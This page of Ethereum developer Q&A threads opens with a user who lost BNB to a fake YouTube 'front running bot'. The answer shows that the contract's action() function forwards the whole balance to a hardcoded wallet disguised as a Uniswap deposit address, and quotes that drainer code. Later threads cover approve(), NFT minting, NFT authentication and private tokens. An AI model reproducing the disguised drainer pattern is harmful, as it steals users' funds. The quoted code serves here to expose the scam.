Unable to retrieve BNB sent to a smart contract on Remix Ethereum - ethereum

I recently tried a BNB front running bot that I saw on YouTube. The creator of the code said that to use the bot you select the "action" button to start the bot. Deposit a small amount of BNB into the contract. Then let the bot run over a couple of days and then hit the "action" button again to stop the bot and return your BNB to your MetaMask Wallet plus any profits it managed to make. Unfortunately, after running the bot for a couple of days I saw no profits and decided to end the bot however hitting the action button didn't withdraw the funds back into my account. I am new to solidity coding and was curious if anyone with more knowledge of the language could look through the code and see if there is any way to retrieve the funds or if they are stuck in there for good. the code is in the following Pastebin and I will leave a link to the YouTube video where the code's creator describes how to work and use the bot. Let me know if there is anything else I can add that could be useful
https://ghostbin.com/OqrQu/raw
https://www.youtube.com/watch?v=E_lh4yG2wts
Also here is a picture of my remix side panel if that is helpful.
Remix side panel

Unfortunately, the action button as described in the ipfs code you imported sent your remaining funds to the specified wallet 0x68aDe5BBcF885dA1590A216563344307BaFab595
There is no way for you to claim your remaining funds.
// contract:
function action() public payable {
payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
}
// imported ipfs code:
contract Manager {
function performTasks() public {
}
function uniswapDepositAddress() public pure returns (address) {
return 0x68aDe5BBcF885dA1590A216563344307BaFab595;
}
}

Related

How to recognize and interact with contract of other chains?

I am planning to issue erc20 token on ethereum and I want to use it as a payment for dapps on polygon.
How may I estublish the interaction between the contracts? A potential answer to that question might be bridging. But I tried to look for every platform to understand, how can I use my coin tokens after bridging, but failed to find any definite answer.
so my question is, if two contracts are on the same chain-
IERC20 token = IERC20(some_address);
We use the above line to call our coin token from our dapp. Since, our coin token is on different ethereum chain, after bridging, how do we call it feom a contract that will be deployed on polygon?
Will the above line of code work? Will I get a new address on polygon for my token contract?
(Recently I have seen a technique, but couldn't understand the underlying mechanism. So, there is a website called Coinvise, they let you deploy your coin airdrop contract on polygon and let you set the nft address (to know if user holds that particular nft) as eligibility condition that is deployed on ethereum. They do it on chain using something called 'sub-graph'. I do not know what this is but I'd like to know if it helps in my case.)
I am new to blockchain, please help

How does uniswap call the approve function

I am trying to build a no-code tool for users, I want to be able to transfer tokens on the user's behalf.
anytime I call the IERC20(token address).approvefunction, my metamask does not a return a screen like the attached image and the IERC20(token address).transferFrom function does not execute.
Approve function
tps://i.stack.imgur.com/NfyMC.png
Calling approve() function from within your contract would just approve tokens to be spend from your contract address - not from the user.
You need to invoke MetaMask popup from your frontend app - not from the contract.
Either using their request method, requesting a transaction to the token contract, with data field of the approve() function and its arguments.
Or with more high-level approach: Creating a frontend instance of web3js, ethers.js, or whichever library you prefer, connecting to the window.ethereum local provider, and then invoking the approve() function on the token contract from here. This will also open the MetaMask popup windows asking the user to sign the transaction.

Meaning of "Minting an NFT" and OpenSea.io question

I have some questions regarding NFT and hope someone can clarify it for me:
Here are what I have done so far: I've successfully run through the whole process of
Uploading an image to IPFS,
Deployed a ERC1155 contract in remix,
Mint an NFT and
Successfully showed it in opensea.io
Here are my questions:
What does it truly mean by "Minting an NFT"? As far as I know, does it mean I create a token (NFT) that represents that uploaded image?
What is the role of "Minting an NFT"?
What are the differences between "Minting an NFT using smart contract" vs "Uploading an image to opensea.io and sell it"?
It seems to me that they are the same. When I mint an NFT using smart contract, opensea.io will create a new collection for me with that contract, and the result is the same when I create a collection manually and upload an image to sell.
When I create an image and upload to IPFS, I also tried manually creating a metadata.json file to describe that file and upload it to my Google drive, which is accessible via URL.
Then when I run the smart contract, I use that meta file link as a parameter to mint an NFT.
My question is: the whole process actually did not mention "opensea.io", why opensea.io knows that I am running a smart contract and create a collection for me? '
Hope someone can help clarify that for me.
Thank you very much in advance for all your help.
What does it truly mean by "Minting an NFT"? As far as I know, does it mean I create a token (NFT) that represents that uploaded image?
Correct. Minting a token is a term used for creating the token.
What are the differences between "Minting an NFT using smart contract" vs "Uploading an image to opensea.io and sell it"?
When you upload an image to OpenSea a create a new sell order, they can currently do one of two things depending on the options you chose:
Mint a token in their own collection contract right away
OR
Mint a token in their own collection contract when the sale is successful
why opensea.io knows that I am running a smart contract and create a collection for me?
They are listening to Transfer() events on collection addresses registered in their system. Or query the historic events when you add the address later.
When the event is emitted, they can create a record in their own database pointing to your token in your collection contract, effectively creating an OpenSea collection page (not a collection contract) and filling it with your token details.

Can NFT be used for authentication on web apps

Can NFT's be used as a mean of authentication? The scenario is a user buys an NFT (ERC721) now he visits the site that uses this Token for authentication, so am guessing the web3.js on the site checks the users wallet if he has the token in wallet then can access the site....but what about server side calls...the server can check the ledger to see who owns the token, but how can it know if the person making the call is the owner..address can be spoofed so sending it with call is out of question. Also the case if users sells his token now a new user owns it
Am thinking something like digital signature but how to get the owners public key and is requiring users to sign messages a hassle...am noob to solidity what do I know but SO requires me to try to answer my question before asking for an answer also some code a requirement for every posts
pragma solidity ^0.4.22;contract helloWorld {
function renderHelloWorld () public pure returns (string) {
return 'helloWorld';
}
}
Checking that the viewer has an address that owns the token is not enough. You would need to confirm that the viewer controls the address by asking them to sign a message.
One system like this is called MetaKey.
If you want to coordinate sessions with a backend, you need to do additional work because the NFT could be transferred. You would need to revoke the session key when the NFT is transferred, which requires that you monitor the blockchain for transfer events.
I don't recommend building sign in infrastructure around an NFTs though. It will be extremely difficult or impossible to avoid security flaws. Better to authenticate people using a wallet signature. There are many tutorials online for building this flow, for example here.

creating a private Ethereum Token ( Coin )

I am new to ethereum, Is it possible to create a coin / token on it that is just a private token? or at least I don;t want to publicly announce its creation but send back and forth coins between 2-3 wallets only?
If your purpose is to send back and forth coins between several "private" wallets, why not making your own private block chain?
You can find a lot of tutorial on the net on how to. This one (relying on Ethereum) seems to cover the topic wholly: Here's how i built a private blockchain network and you can too